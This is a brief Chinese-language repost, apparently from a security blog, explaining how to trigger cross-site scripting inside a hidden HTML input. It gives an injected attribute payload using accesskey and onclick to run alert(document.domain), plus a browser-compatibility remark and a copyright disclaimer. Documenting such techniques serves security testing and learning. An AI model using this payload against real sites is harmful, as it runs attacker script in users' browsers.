<input type="hidden" name="returnurl" value="" accesskey="X" onclick="alert(document.domain)" />
触发方法不同的浏览器不同，具体可参考https://www.w3school.com.cn/jsref/prop_html_accesskey.asp
Hidden属性的input标签中XSS的触发方法
免责声明！
本站转载的文章为个人学习借鉴使用，本站对版权不负任何法律责任。如果侵犯了您的隐私权益，请联系本站邮箱yoyou2525@163.com删除。